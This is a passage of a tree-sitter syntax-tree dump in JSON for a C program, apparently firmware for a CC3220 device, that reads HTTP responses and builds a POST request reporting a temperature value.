"end_point": {"row": 115, "column": 8}}, {"id": 538, "type": "argument_list", "text": "(\"received %d bytes...\\n\", ret)", "parent": 536, "children": [539, 541], "start_point": {"row": 115, "column": 8}, "end_point": {"row": 115, "column": 39}}, {"id": 539, "type": "string_literal", "text": "\"received %d bytes...\\n\"", "parent": 538, "children": [540], "start_point": {"row": 115, "column": 9}, "end_point": {"row": 115, "column": 33}}, {"id": 540, "type": "escape_sequence", "text": "\\n", "parent": 539, "children": [], "start_point": {"row": 115, "column": 30}, "end_point": {"row": 115, "column": 32}}, {"id": 541, "type": "identifier", "text": "ret", "parent": 538, "children": [], "start_point": {"row": 115, "column": 35}, "end_point": {"row": 115, "column": 38}}, {"id": 542, "type": "assignment_expression", "text": "count += ret", "parent": 514, "children": [543, 544, 545], "start_point": {"row": 117, "column": 2}, "end_point": {"row": 117, "column": 14}}, {"id": 543, "type": "identifier", "text": "count", "parent": 542, "children": [], "start_point": {"row": 117, "column": 2}, "end_point": {"row": 117, "column": 7}}, {"id": 544, "type": "+=", "text": "+=", "parent": 542, "children": [], "start_point": {"row": 117, "column": 8}, "end_point": {"row": 117, "column": 10}}, {"id": 545, "type": "identifier", "text": "ret", "parent": 542, "children": [], "start_point": {"row": 117, "column": 11}, "end_point": {"row": 117, "column": 14}}, {"id": 546, "type": "if_statement", "text": "if ((p = strstr(buffer, HTTP_EOH)) != NULL) {\n\t\t\tEOH = p - buffer;\n\t\t\tprintf(\"EOH at %d\\n\", EOH);\n\t\t}", "parent": 514, "children": [547], "start_point": {"row": 118, "column": 2}, "end_point": {"row": 121, "column": 3}}, {"id": 547, "type": "parenthesized_expression", "text": "((p = strstr(buffer, HTTP_EOH)) != NULL)", "parent": 546, "children": [548], "start_point": {"row": 118, "column": 5}, "end_point": {"row": 118, "column": 45}}, {"id": 548, "type": "binary_expression", "text": "(p = strstr(buffer, HTTP_EOH)) != NULL", "parent": 547, "children": [549, 558, 559], "start_point": {"row": 118, "column": 6}, "end_point": {"row": 118, "column": 44}}, {"id": 549, "type": "parenthesized_expression", "text": "(p = strstr(buffer, HTTP_EOH))", "parent": 548, "children": [550], "start_point": {"row": 118, "column": 6}, "end_point": {"row": 118, "column": 36}}, {"id": 550, "type": "assignment_expression", "text": "p = strstr(buffer, HTTP_EOH)", "parent": 549, "children": [551, 552, 553], "start_point": {"row": 118, "column": 7}, "end_point": {"row": 118, "column": 35}}, {"id": 551, "type": "identifier", "text": "p", "parent": 550, "children": [], "start_point": {"row": 118, "column": 7}, "end_point": {"row": 118, "column": 8}}, {"id": 552, "type": "=", "text": "=", "parent": 550, "children": [], "start_point": {"row": 118, "column": 9}, "end_point": {"row": 118, "column": 10}}, {"id": 553, "type": "call_expression", "text": "strstr(buffer, HTTP_EOH)", "parent": 550, "children": [554, 555], "start_point": {"row": 118, "column": 11}, "end_point": {"row": 118, "column": 35}}, {"id": 554, "type": "identifier", "text": "strstr", "parent": 553, "children": [], "start_point": {"row": 118, "column": 11}, "end_point": {"row": 118, "column": 17}}, {"id": 555, "type": "argument_list", "text": "(buffer, HTTP_EOH)", "parent": 553, "children": [556, 557], "start_point": {"row": 118, "column": 17}, "end_point": {"row": 118, "column": 35}}, {"id": 556, "type": "identifier", "text": "buffer", "parent": 555, "children": [], "start_point": {"row": 118, "column": 18}, "end_point": {"row": 118, "column": 24}}, {"id": 557, "type": "identifier", "text": "HTTP_EOH", "parent": 555, "children": [], "start_point": {"row": 118, "column": 26}, "end_point": {"row": 118, "column": 34}}, {"id": 558, "type": "!=", "text": "!=", "parent": 548, "children": [], "start_point": {"row": 118, "column": 37}, "end_point": {"row": 118, "column": 39}}, {"id": 559, "type": "null", "text": "NULL", "parent": 548, "children": [560], "start_point": {"row": 118, "column": 40}, "end_point": {"row": 118, "column": 44}}, {"id": 560, "type": "NULL", "text": "NULL", "parent": 559, "children": [], "start_point": {"row": 118, "column": 40}, "end_point": {"row": 118, "column": 44}}, {"id": 561, "type": "assignment_expression", "text": "EOH = p - buffer", "parent": 546, "children": [562, 563, 564], "start_point": {"row": 119, "column": 3}, "end_point": {"row": 119, "column": 19}}, {"id": 562, "type": "identifier", "text": "EOH", "parent": 561, "children": [], "start_point": {"row": 119, "column": 3}, "end_point": {"row": 119, "column": 6}}, {"id": 563, "type": "=", "text": "=", "parent": 561, "children": [], "start_point": {"row": 119, "column": 7}, "end_point": {"row": 119, "column": 8}}, {"id": 564, "type": "binary_expression", "text": "p - buffer", "parent": 561, "children": [565, 566, 567], "start_point": {"row": 119, "column": 9}, "end_point": {"row": 119, "column": 19}}, {"id": 565, "type": "identifier", "text": "p", "parent": 564, "children": [], "start_point": {"row": 119, "column": 9}, "end_point": {"row": 119, "column": 10}}, {"id": 566, "type": "-", "text": "-", "parent": 564, "children": [], "start_point": {"row": 119, "column": 11}, "end_point": {"row": 119, "column": 12}}, {"id": 567, "type": "identifier", "text": "buffer", "parent": 564, "children": [], "start_point": {"row": 119, "column": 13}, "end_point": {"row": 119, "column": 19}}, {"id": 568, "type": "call_expression", "text": "printf(\"EOH at %d\\n\", EOH)", "parent": 546, "children": [569, 570], "start_point": {"row": 120, "column": 3}, "end_point": {"row": 120, "column": 29}}, {"id": 569, "type": "identifier", "text": "printf", "parent": 568, "children": [], "start_point": {"row": 120, "column": 3}, "end_point": {"row": 120, "column": 9}}, {"id": 570, "type": "argument_list", "text": "(\"EOH at %d\\n\", EOH)", "parent": 568, "children": [571, 573], "start_point": {"row": 120, "column": 9}, "end_point": {"row": 120, "column": 29}}, {"id": 571, "type": "string_literal", "text": "\"EOH at %d\\n\"", "parent": 570, "children": [572], "start_point": {"row": 120, "column": 10}, "end_point": {"row": 120, "column": 23}}, {"id": 572, "type": "escape_sequence", "text": "\\n", "parent": 571, "children": [], "start_point": {"row": 120, "column": 20}, "end_point": {"row": 120, "column": 22}}, {"id": 573, "type": "identifier", "text": "EOH", "parent": 570, "children": [], "start_point": {"row": 120, "column": 25}, "end_point": {"row": 120, "column": 28}}, {"id": 574, "type": "if_statement", "text": "if ((p = strstr(buffer, CONTENT_LENGTH)) != NULL) {\n\t\t\tCL = p - buffer;\n\t\t\tcontent_length = atoi(p + strlen(CONTENT_LENGTH));\n\t\t\tprintf(\"CL at %d, value: %d\\n\", CL, content_length);\n\t\t}", "parent": 514, "children": [575], "start_point": {"row": 122, "column": 2}, "end_point": {"row": 126, "column": 3}}, {"id": 575, "type": "parenthesized_expression", "text": "((p = strstr(buffer, CONTENT_LENGTH)) != NULL)", "parent": 574, "children": [576], "start_point": {"row": 122, "column": 5}, "end_point": {"row": 122, "column": 51}}, {"id": 576, "type": "binary_expression", "text": "(p = strstr(buffer, CONTENT_LENGTH)) != NULL", "parent": 575, "children": [577, 586, 587], "start_point": {"row": 122, "column": 6}, "end_point": {"row": 122, "column": 50}}, {"id": 577, "type": "parenthesized_expression", "text": "(p = strstr(buffer, CONTENT_LENGTH))", "parent": 576, "children": [578], "start_point": {"row": 122, "column": 6}, "end_point": {"row": 122, "column": 42}}, {"id": 578, "type": "assignment_expression", "text": "p = strstr(buffer, CONTENT_LENGTH)", "parent": 577, "children": [579, 580, 581], "start_point": {"row": 122, "column": 7}, "end_point": {"row": 122, "column": 41}}, {"id": 579, "type": "identifier", "text": "p", "parent": 578, "children": [], "start_point": {"row": 122, "column": 7}, "end_point": {"row": 122, "column": 8}}, {"id": 580, "type": "=", "text": "=", "parent": 578, "children": [], "start_point": {"row": 122, "column": 9}, "end_point": {"row": 122, "column": 10}}, {"id": 581, "type": "call_expression", "text": "strstr(buffer, CONTENT_LENGTH)", "parent": 578, "children": [582, 583], "start_point": {"row": 122, "column": 11}, "end_point": {"row": 122, "column": 41}}, {"id": 582, "type": "identifier", "text": "strstr", "parent": 581, "children": [], "start_point": {"row": 122, "column": 11}, "end_point": {"row": 122, "column": 17}}, {"id": 583, "type": "argument_list", "text": "(buffer, CONTENT_LENGTH)", "parent": 581, "children": [584, 585], "start_point": {"row": 122, "column": 17}, "end_point": {"row": 122, "column": 41}}, {"id": 584, "type": "identifier", "text": "buffer", "parent": 583, "children": [], "start_point": {"row": 122, "column": 18}, "end_point": {"row": 122, "column": 24}}, {"id": 585, "type": "identifier", "text": "CONTENT_LENGTH", "parent": 583, "children": [], "start_point": {"row": 122, "column": 26}, "end_point": {"row": 122, "column": 40}}, {"id": 586, "type": "!=", "text": "!=", "parent": 576, "children": [], "start_point": {"row": 122, "column": 43}, "end_point": {"row": 122, "column": 45}}, {"id": 587, "type": "null", "text": "NULL", "parent": 576, "children": [588], "start_point": {"row": 122, "column": 46}, "end_point": {"row": 122, "column": 50}}, {"id": 588, "type": "NULL", "text": "NULL", "parent": 587, "children": [], "start_point": {"row": 122, "column": 46}, "end_point": {"row": 122, "column": 50}}, {"id": 589, "type": "assignment_expression", "text": "CL = p - buffer", "parent": 574, "children": [590, 591, 592], "start_point": {"row": 123, "column": 3}, "end_point": {"row": 123, "column": 18}}, {"id": 590, "type": "identifier", "text": "CL", "parent": 589, "children": [], "start_point": {"row": 123, "column": 3}, "end_point": {"row": 123, "column": 5}}, {"id": 591, "type": "=", "text": "=", "parent": 589, "children": [], "start_point": {"row": 123, "column": 6}, "end_point": {"row": 123, "column": 7}}, {"id": 592, "type": "binary_expression", "text": "p - buffer", "parent": 589, "children": [593, 594, 595], "start_point": {"row": 123, "column": 8}, "end_point": {"row": 123, "column": 18}}, {"id": 593, "type": "identifier", "text": "p", "parent": 592, "children": [], "start_point": {"row": 123, "column": 8}, "end_point": {"row": 123, "column": 9}}, {"id": 594, "type": "-", "text": "-", "parent": 592, "children": [], "start_point": {"row": 123, "column": 10}, "end_point": {"row": 123, "column": 11}}, {"id": 595, "type": "identifier", "text": "buffer", "parent": 592, "children": [], "start_point": {"row": 123, "column": 12}, "end_point": {"row": 123, "column": 18}}, {"id": 596, "type": "assignment_expression", "text": "content_length = atoi(p + strlen(CONTENT_LENGTH))", "parent": 574, "children": [597, 598, 599], "start_point": {"row": 124, "column": 3}, "end_point": {"row": 124, "column": 52}}, {"id": 597, "type": "identifier", "text": "content_length", "parent": 596, "children": [], "start_point": {"row": 124, "column": 3}, "end_point": {"row": 124, "column": 17}}, {"id": 598, "type": "=", "text": "=", "parent": 596, "children": [], "start_point": {"row": 124, "column": 18}, "end_point": {"row": 124, "column": 19}}, {"id": 599, "type": "call_expression", "text": "atoi(p + strlen(CONTENT_LENGTH))", "parent": 596, "children": [600, 601], "start_point": {"row": 124, "column": 20}, "end_point": {"row": 124, "column": 52}}, {"id": 600, "type": "identifier", "text": "atoi", "parent": 599, "children": [], "start_point": {"row": 124, "column": 20}, "end_point": {"row": 124, "column": 24}}, {"id": 601, "type": "argument_list", "text": "(p + strlen(CONTENT_LENGTH))", "parent": 599, "children": [602], "start_point": {"row": 124, "column": 24}, "end_point": {"row": 124, "column": 52}}, {"id": 602, "type": "binary_expression", "text": "p + strlen(CONTENT_LENGTH)", "parent": 601, "children": [603, 604, 605], "start_point": {"row": 124, "column": 25}, "end_point": {"row": 124, "column": 51}}, {"id": 603, "type": "identifier", "text": "p", "parent": 602, "children": [], "start_point": {"row": 124, "column": 25}, "end_point": {"row": 124, "column": 26}}, {"id": 604, "type": "+", "text": "+", "parent": 602, "children": [], "start_point": {"row": 124, "column": 27}, "end_point": {"row": 124, "column": 28}}, {"id": 605, "type": "call_expression", "text": "strlen(CONTENT_LENGTH)", "parent": 602, "children": [606, 607], "start_point": {"row": 124, "column": 29}, "end_point": {"row": 124, "column": 51}}, {"id": 606, "type": "identifier", "text": "strlen", "parent": 605, "children": [], "start_point": {"row": 124, "column": 29}, "end_point": {"row": 124, "column": 35}}, {"id": 607, "type": "argument_list", "text": "(CONTENT_LENGTH)", "parent": 605, "children": [608], "start_point": {"row": 124, "column": 35}, "end_point": {"row": 124, "column": 51}}, {"id": 608, "type": "identifier", "text": "CONTENT_LENGTH", "parent": 607, "children": [], "start_point": {"row": 124, "column": 36}, "end_point": {"row": 124, "column": 50}}, {"id": 609, "type": "call_expression", "text": "printf(\"CL at %d, value: %d\\n\", CL, content_length)", "parent": 574, "children": [610, 611], "start_point": {"row": 125, "column": 3}, "end_point": {"row": 125, "column": 54}}, {"id": 610, "type": "identifier", "text": "printf", "parent": 609, "children": [], "start_point": {"row": 125, "column": 3}, "end_point": {"row": 125, "column": 9}}, {"id": 611, "type": "argument_list", "text": "(\"CL at %d, value: %d\\n\", CL, content_length)", "parent": 609, "children": [612, 614, 615], "start_point": {"row": 125, "column": 9}, "end_point": {"row": 125, "column": 54}}, {"id": 612, "type": "string_literal", "text": "\"CL at %d, value: %d\\n\"", "parent": 611, "children": [613], "start_point": {"row": 125, "column": 10}, "end_point": {"row": 125, "column": 33}}, {"id": 613, "type": "escape_sequence", "text": "\\n", "parent": 612, "children": [], "start_point": {"row": 125, "column": 30}, "end_point": {"row": 125, "column": 32}}, {"id": 614, "type": "identifier", "text": "CL", "parent": 611, "children": [], "start_point": {"row": 125, "column": 35}, "end_point": {"row": 125, "column": 37}}, {"id": 615, "type": "identifier", "text": "content_length", "parent": 611, "children": [], "start_point": {"row": 125, "column": 39}, "end_point": {"row": 125, "column": 53}}, {"id": 616, "type": "if_statement", "text": "if (CL && count - EOH - strlen(HTTP_EOH) >= content_length) {\n\t\t\tbreak;\n\t\t}", "parent": 514, "children": [617], "start_point": {"row": 127, "column": 2}, "end_point": {"row": 129, "column": 3}}, {"id": 617, "type": "parenthesized_expression", "text": "(CL && count - EOH - strlen(HTTP_EOH) >= content_length)", "parent": 616, "children": [618], "start_point": {"row": 127, "column": 5}, "end_point": {"row": 127, "column": 61}}, {"id": 618, "type": "binary_expression", "text": "CL && count - EOH - strlen(HTTP_EOH) >= content_length", "parent": 617, "children": [619, 620, 621], "start_point": {"row": 127, "column": 6}, "end_point": {"row": 127, "column": 60}}, {"id": 619, "type": "identifier", "text": "CL", "parent": 618, "children": [], "start_point": {"row": 127, "column": 6}, "end_point": {"row": 127, "column": 8}}, {"id": 620, "type": "&&", "text": "&&", "parent": 618, "children": [], "start_point": {"row": 127, "column": 9}, "end_point": {"row": 127, "column": 11}}, {"id": 621, "type": "binary_expression", "text": "count - EOH - strlen(HTTP_EOH) >= content_length", "parent": 618, "children": [622, 632, 633], "start_point": {"row": 127, "column": 12}, "end_point": {"row": 127, "column": 60}}, {"id": 622, "type": "binary_expression", "text": "count - EOH - strlen(HTTP_EOH)", "parent": 621, "children": [623, 627, 628], "start_point": {"row": 127, "column": 12}, "end_point": {"row": 127, "column": 42}}, {"id": 623, "type": "binary_expression", "text": "count - EOH", "parent": 622, "children": [624, 625, 626], "start_point": {"row": 127, "column": 12}, "end_point": {"row": 127, "column": 23}}, {"id": 624, "type": "identifier", "text": "count", "parent": 623, "children": [], "start_point": {"row": 127, "column": 12}, "end_point": {"row": 127, "column": 17}}, {"id": 625, "type": "-", "text": "-", "parent": 623, "children": [], "start_point": {"row": 127, "column": 18}, "end_point": {"row": 127, "column": 19}}, {"id": 626, "type": "identifier", "text": "EOH", "parent": 623, "children": [], "start_point": {"row": 127, "column": 20}, "end_point": {"row": 127, "column": 23}}, {"id": 627, "type": "-", "text": "-", "parent": 622, "children": [], "start_point": {"row": 127, "column": 24}, "end_point": {"row": 127, "column": 25}}, {"id": 628, "type": "call_expression", "text": "strlen(HTTP_EOH)", "parent": 622, "children": [629, 630], "start_point": {"row": 127, "column": 26}, "end_point": {"row": 127, "column": 42}}, {"id": 629, "type": "identifier", "text": "strlen", "parent": 628, "children": [], "start_point": {"row": 127, "column": 26}, "end_point": {"row": 127, "column": 32}}, {"id": 630, "type": "argument_list", "text": "(HTTP_EOH)", "parent": 628, "children": [631], "start_point": {"row": 127, "column": 32}, "end_point": {"row": 127, "column": 42}}, {"id": 631, "type": "identifier", "text": "HTTP_EOH", "parent": 630, "children": [], "start_point": {"row": 127, "column": 33}, "end_point": {"row": 127, "column": 41}}, {"id": 632, "type": ">=", "text": ">=", "parent": 621, "children": [], "start_point": {"row": 127, "column": 43}, "end_point": {"row": 127, "column": 45}}, {"id": 633, "type": "identifier", "text": "content_length", "parent": 621, "children": [], "start_point": {"row": 127, "column": 46}, "end_point": {"row": 127, "column": 60}}, {"id": 634, "type": "break_statement", "text": "break;", "parent": 616, "children": [635], "start_point": {"row": 128, "column": 3}, "end_point": {"row": 128, "column": 9}}, {"id": 635, "type": "break", "text": "break", "parent": 634, "children": [], "start_point": {"row": 128, "column": 3}, "end_point": {"row": 128, "column": 8}}, {"id": 636, "type": "if_statement", "text": "if (ret < 0) {\n\t\tperror(\"recv\");\n\t}", "parent": 469, "children": [637], "start_point": {"row": 131, "column": 1}, "end_point": {"row": 133, "column": 2}}, {"id": 637, "type": "parenthesized_expression", "text": "(ret < 0)", "parent": 636, "children": [638], "start_point": {"row": 131, "column": 4}, "end_point": {"row": 131, "column": 13}}, {"id": 638, "type": "binary_expression", "text": "ret < 0", "parent": 637, "children": [639, 640, 641], "start_point": {"row": 131, "column": 5}, "end_point": {"row": 131, "column": 12}}, {"id": 639, "type": "identifier", "text": "ret", "parent": 638, "children": [], "start_point": {"row": 131, "column": 5}, "end_point": {"row": 131, "column": 8}}, {"id": 640, "type": "<", "text": "<", "parent": 638, "children": [], "start_point": {"row": 131, "column": 9}, "end_point": {"row": 131, "column": 10}}, {"id": 641, "type": "number_literal", "text": "0", "parent": 638, "children": [], "start_point": {"row": 131, "column": 11}, "end_point": {"row": 131, "column": 12}}, {"id": 642, "type": "call_expression", "text": "perror(\"recv\")", "parent": 636, "children": [643, 644], "start_point": {"row": 132, "column": 2}, "end_point": {"row": 132, "column": 16}}, {"id": 643, "type": "identifier", "text": "perror", "parent": 642, "children": [], "start_point": {"row": 132, "column": 2}, "end_point": {"row": 132, "column": 8}}, {"id": 644, "type": "argument_list", "text": "(\"recv\")", "parent": 642, "children": [645], "start_point": {"row": 132, "column": 8}, "end_point": {"row": 132, "column": 16}}, {"id": 645, "type": "string_literal", "text": "\"recv\"", "parent": 644, "children": [], "start_point": {"row": 132, "column": 9}, "end_point": {"row": 132, "column": 15}}, {"id": 646, "type": "assignment_expression", "text": "buffer[count] = '\\0'", "parent": 469, "children": [647, 650, 651], "start_point": {"row": 134, "column": 1}, "end_point": {"row": 134, "column": 21}}, {"id": 647, "type": "subscript_expression", "text": "buffer[count]", "parent": 646, "children": [648, 649], "start_point": {"row": 134, "column": 1}, "end_point": {"row": 134, "column": 14}}, {"id": 648, "type": "identifier", "text": "buffer", "parent": 647, "children": [], "start_point": {"row": 134, "column": 1}, "end_point": {"row": 134, "column": 7}}, {"id": 649, "type": "identifier", "text": "count", "parent": 647, "children": [], "start_point": {"row": 134, "column": 8}, "end_point": {"row": 134, "column": 13}}, {"id": 650, "type": "=", "text": "=", "parent": 646, "children": [], "start_point": {"row": 134, "column": 15}, "end_point": {"row": 134, "column": 16}}, {"id": 651, "type": "char_literal", "text": "'\\0'", "parent": 646, "children": [652, 653, 654], "start_point": {"row": 134, "column": 17}, "end_point": {"row": 134, "column": 21}}, {"id": 652, "type": "'", "text": "'", "parent": 651, "children": [], "start_point": {"row": 134, "column": 17}, "end_point": {"row": 134, "column": 18}}, {"id": 653, "type": "escape_sequence", "text": "\\0", "parent": 651, "children": [], "start_point": {"row": 134, "column": 18}, "end_point": {"row": 134, "column": 20}}, {"id": 654, "type": "'", "text": "'", "parent": 651, "children": [], "start_point": {"row": 134, "column": 20}, "end_point": {"row": 134, "column": 21}}, {"id": 655, "type": "return_statement", "text": "return count;", "parent": 469, "children": [656], "start_point": {"row": 135, "column": 1}, "end_point": {"row": 135, "column": 14}}, {"id": 656, "type": "identifier", "text": "count", "parent": 655, "children": [], "start_point": {"row": 135, "column": 8}, "end_point": {"row": 135, "column": 13}}, {"id": 657, "type": "function_definition", "text": "int prepare_request(char* buffer, int buflen, const char* host, int port, const char* path, int temp)\n{\n\tchar line[128];\n\n\tsprintf(buffer, \"POST %s HTTP/1.1\\r\\n\", path);\n\tsprintf(line, \"Host: %s:%d\\r\\n\", host, port);\n\tstrcat(buffer, line);\n\tstrcat(buffer, \"User-Agent: CC3220\\r\\n\"\n\t\t\t\t\t\"Accept: */*\\r\\n\"\n\t \"Content-Type: application/x-www-form-urlencoded\\r\\n\");\n\tsprintf(line, \"Content-Length: %d\\r\\n\", sprintf(line, \"temp=%d\", temp));\n\tstrcat(buffer, line);\n\tstrcat(buffer, \"\\r\\n\");\n\tsprintf(line, \"temp=%d\", temp);\n\tstrcat(buffer, line);\n\n\treturn strlen(buffer);\n}", "parent": null, "children": [658, 659], "start_point": {"row": 138, "column": 0}, "end_point": {"row": 155, "column": 1}}, {"id": 658, "type": "primitive_type", "text": "int", "parent": 657, "children": [], "start_point": {"row": 138, "column": 0}, "end_point": {"row": 138, "column": 3}}, {"id": 659, "type": "function_declarator", "text": "prepare_request(char* buffer, int buflen, const char* host, int port, const char* path, int temp)", "parent": 657, "children": [660, 661], "start_point": {"row": 138, "column": 4}, "end_point": {"row": 138, "column": 101}}, {"id": 660, "type": "identifier", "text": "prepare_request", "parent": 659, "children": [], "start_point": {"row": 138, "column": 4}, "end_point": {"row": 138, "column": 19}}, {"id": 661, "type": "parameter_list", "text": "(char* buffer, int buflen, const char* host, int port, const char* path, int temp)", "parent": 659, "children": [662, 667, 670, 675, 678, 683], "start_point": {"row": 138, "column": 19}, "end_point": {"row": 138, "column": 101}}, {"id": 662, "type": "parameter_declaration", "text": "char* buffer", "parent": 661, "children": [663, 664], "start_point": {"row": 138, "column": 20}, "end_point": {"row": 138, "column": 32}}, {"id": 663, "type": "primitive_type", "text": "char", "parent": 662, "children": [], "start_point": {"row": 138, "column": 20}, "end_point": {"row": 138, "column": 24}}, {"id": 664, "type": "pointer_declarator", "text": "* buffer", "parent": 662, "children": [665, 666], "start_point": {"row": 138, "column": 24}, "end_point": {"row": 138, "column": 32}}, {"id": 665, "type": "*", "text": "*", "parent": 664, "children": [], "start_point": {"row": 138, "column": 24}, "end_point": {"row": 138, "column": 25}}, {"id": 666, "type": "identifier", "text": "buffer", "parent": 664, "children": [], "start_point": {"row": 138, "column": 26}, "end_point": {"row": 138, "column": 32}}, {"id": 667, "type": "parameter_declaration", "text": "int buflen", "parent": 661, "children": [668, 669], "start_point": {"row": 138, "column": 34}, "end_point": {"row": 138, "column": 44}}, {"id": 668, "type": "primitive_type", "text": "int", "parent": 667, "children": [], "start_point": {"row": 138, "column": 34}, "end_point": {"row": 138, "column": 37}}, {"id": 669, "type": "identifier", "text": "buflen", "parent": 667, "children": [], "start_point": {"row": 138, "column": 38}, "end_point": {"row": 138, "column": 44}}, {"id": 670, "type": "parameter_declaration", "text": "const char* host", "parent": 661, "children": [671, 672], "start_point": {"row": 138, "column": 46}, "end_point": {"row": 138, "column": 62}}, {"id": 671, "type": "primitive_type", "text": "char", "parent": 670, "children": [], "start_point": {"row": 138, "column": 52}, "end_point": {"row": 138, "column": 56}}, {"id": 672, "type": "pointer_declarator", "text": "* host", "parent": 670, "children": [673, 674], "start_point": {"row": 138, "column": 56}, "end_point": {"row": 138, "column": 62}}, {"id": 673, "type": "*", "text": "*", "parent": 672, "children": [], "start_point": {"row": 138, "column": 56}, "end_point": {"row": 138, "column": 57}}, {"id": 674, "type": "identifier", "text": "host", "parent": 672, "children": [], "start_point": {"row": 138, "column": 58}, "end_point": {"row": 138, "column": 62}}, {"id": 675, "type": "parameter_declaration", "text": "int port", "parent": 661, "children": [676, 677], "start_point": {"row": 138, "column": 64}, "end_point": {"row": 138, "column": 72}}, {"id": 676, "type": "primitive_type", "text": "int", "parent": 675, "children": [], "start_point": {"row": 138, "column": 64}, "end_point": {"row": 138, "column": 67}}, {"id": 677, "type": "identifier", "text": "port", "parent": 675, "children": [], "start_point": {"row": 138, "column": 68}, "end_point": {"row": 138, "column": 72}}, {"id": 678, "type": "parameter_declaration", "text": "const char* path", "parent": 661, "children": [679, 680], "start_point": {"row": 138, "column": 74}, "end_point": {"row": 138, "column": 90}}, {"id": 679, "type": "primitive_type", "text": "char", "parent": 678, "children": [], "start_point": {"row": 138, "column": 80}, "end_point": {"row": 138, "column": 84}}, {"id": 680, "type": "pointer_declarator", "text": "* path", "parent": 678, "children": [681, 682], "start_point": {"row": 138, "column": 84}, "end_point": {"row": 138, "column": 90}}, {"id": 681, "type": "*", "text": "*", "parent": 680, "children": [], "start_point": {"row": 138, "column": 84}, "end_point": {"row": 138, "column": 85}}, {"id": 682, "type": "identifier", "text": "path", "parent": 680, "children": [], "start_point": {"row": 138, "column": 86}, "end_point": {"row": 138, "column": 90}}, {"id": 683, "type": "parameter_declaration", "text": "int temp", "parent": 661, "children": [684, 685], "start_point": {"row": 138, "column": 92}, "end_point": {"row": 138, "column": 100}}, {"id": 684, "type": "primitive_type", "text": "int", "parent": 683, "children": [], "start_point": {"row": 138, "column": 92}, "end_point": {"row": 138, "column": 95}}, {"id": 685, "type": "identifier", "text": "temp", "parent": 683, "children": [], "start_point": {"row": 138, "column": 96}, "end_point": {"row": 138, "column": 100}}, {"id": 686, "type": "declaration", "text": "char line[128];", "parent": 657, "children": [687, 688], "start_point": {"row": 140, "column": 1}, "end_point": {"row": 140, "column": 16}}, {"id": 687, "type": "primitive_type", "text": "char", "parent": 686, "children": [], "start_point": {"row": 140, "column": 1}, "end_point": {"row": 140, "column": 5}}, {"id": 688, "type": "array_declarator", "text": "line[128]", "parent": 686, "children": [689, 690], "start_point": {"row": 140, "column": 6}, "end_point": {"row": 140, "column": 15}}, {"id": 689, "type": "identifier", "text": "line", "parent": 688, "children": [], "start_point": {"row": 140, "column": 6}, "end_point": {"row": 140, "column": 10}}, {"id": 690, "type": "number_literal", "text": "128", "parent": 688, "children": [], "start_point": {"row": 140, "column": 11}, "end_point": {"row": 140, "column": 14}}, {"id": 691, "type": "call_expression", "text": "sprintf(buffer, \"POST %s HTTP/1.1\\r\\n\", path)", "parent": 657, "children": [692, 693], "start_point": {"row": 142, "column": 1}, "end_point": {"row": 142, "column": 46}}, {"id": 692, "type": "identifier", "text": "sprintf", "parent": 691, "children": [], "start_point": {"row": 142, "column": 1}, "end_point": {"row": 142, "column": 8}}, {"id": 693, "type": "argument_list", "text": "(buffer, \"POST %s HTTP/1.1\\r\\n\", path)", "parent": 691, "children": [694, 695, 698], "start_point": {"row": 142, "column": 8}, "end_point": {"row": 142, "column": 46}}, {"id": 694, "type": "identifier", "text": "buffer", "parent": 693, "children": [], "start_point": {"row": 142, "column": 9}, "end_point": {"row": 142, "column": 15}}, {"id": 695, "type": "string_literal", "text": "\"POST %s HTTP/1.1\\r\\n\"", "parent": 693, "children": [696, 697], "start_point": {"row": 142, "column": 17}, "end_point": {"row": 142, "column": 39}}, {"id": 696, "type": "escape_sequence", "text": "\\r", "parent": 695, "children": [], "start_point": {"row": 142, "column": 34}, "end_point": {"row": 142, "column": 36}}, {"id": 697, "type": "escape_sequence", "text": "\\n", "parent": 695, "children": [], "start_point": {"row": 142, "column": 36}, "end_point": {"row": 142, "column": 38}}, {"id": 698, "type": "identifier", "text": "path", "parent": 693, "children": [], "start_point": {"row": 142, "column": 41}, "end_point": {"row": 142, "column": 45}}, {"id": 699, "type": "call_expression", "text": "sprintf(line, \"Host: %s:%d\\r\\n\", host, port)", "parent": 657, "children": [700, 701], "start_point": {"row": 143, "column": 1}, "end_point": {"row": 143, "column": 45}}, {"id": 700, "type": "identifier", "text": "sprintf", "parent": 699, "children": [], "start_point": {"row": 143, "column": 1}, "end_point": {"row": 143, "column": 8}}, {"id": 701, "type": "argument_list", "text": "(line, \"Host: %s:%d\\r\\n\", host, port)", "parent": 699, "children": [702, 703, 706, 707], "start_point": {"row": 143, "column": 8}, "end_point": {"row": 143, "column": 45}}, {"id": 702, "type": "identifier", "text": "line", "parent": 701, "children": [], "start_point": {"row": 143, "column": 9}, "end_point": {"row": 143, "column": 13}}, {"id": 703, "type": "string_literal", "text": "\"Host: %s:%d\\r\\n\"", "parent": 701, "children": [704, 705], "start_point": {"row": 143, "column": 15}, "end_point": {"row": 143, "column": 32}}, {"id": 704, "type": "escape_sequence", "text": "\\r", "parent": 703, "children": [], "start_point": {"row": 143, "column": 27}, "end_point": {"row": 143, "column": 29}}, {"id": 705, "type": "escape_sequence", "text": "\\n", "parent": 703, "children": [], "start_point": {"row": 143, "column": 29}, "end_point": {"row": 143, "column": 31}}, {"id": 706, "type": "identifier", "text": "host", "parent": 701, "children": [], "start_point": {"row": 143, "column": 34}, "end_point": {"row": 143, "column": 38}}, {"id": 707, "type": "identifier", "text": "port", "parent": 701, "children": [], "start_point": {"row": 143, "column": 40}, "end_point": {"row": 143, "column": 44}}, {"id": 708, "type": "call_expression", "text": "strcat(buffer, line)", "parent": 657, "children": [709, 710], "start_point": {"row": 144, "column": 1}, "end_point": {"row": 144, "column": 21}}, {"id": 709, "type": "identifier", "text": "strcat", "parent": 708, "children": [], "start_point": {"row": 144, "column": 1}, "end_point": {"row": 144, "column": 7}}, {"id": 710, "type": "argument_list", "text": "(buffer, line)", "parent": 708, "children": [711, 712], "start_point": {"row": 144, "column": 7}, "end_point": {"row": 144, "column": 21}}, {"id": 711, "type": "identifier", "text": "buffer", "parent": 710, "children": [], "start_point": {"row": 144, "column": 8}, "end_point": {"row": 144, "column": 14}}, {"id": 712, "type": "identifier", "text": "line", "parent": 710, "children": [], "start_point": {"row": 144, "column": 16}, "end_point": {"row": 144, "column": 20}}, {"id": 713, "type": "call_expression", "text": "strcat(buffer, \"User-Agent: CC3220\\r\\n\"\n\t\t\t\t\t\"Accept: */*\\r\\n\"\n\t \"Content-Type: application/x-www-form-urlencoded\\r\\n\")", "parent": 657, "children": [714, 715], "start_point": {"row": 145, "column": 1}, "end_point": {"row": 147, "column": 70}}, {"id": 714, "type": "identifier", 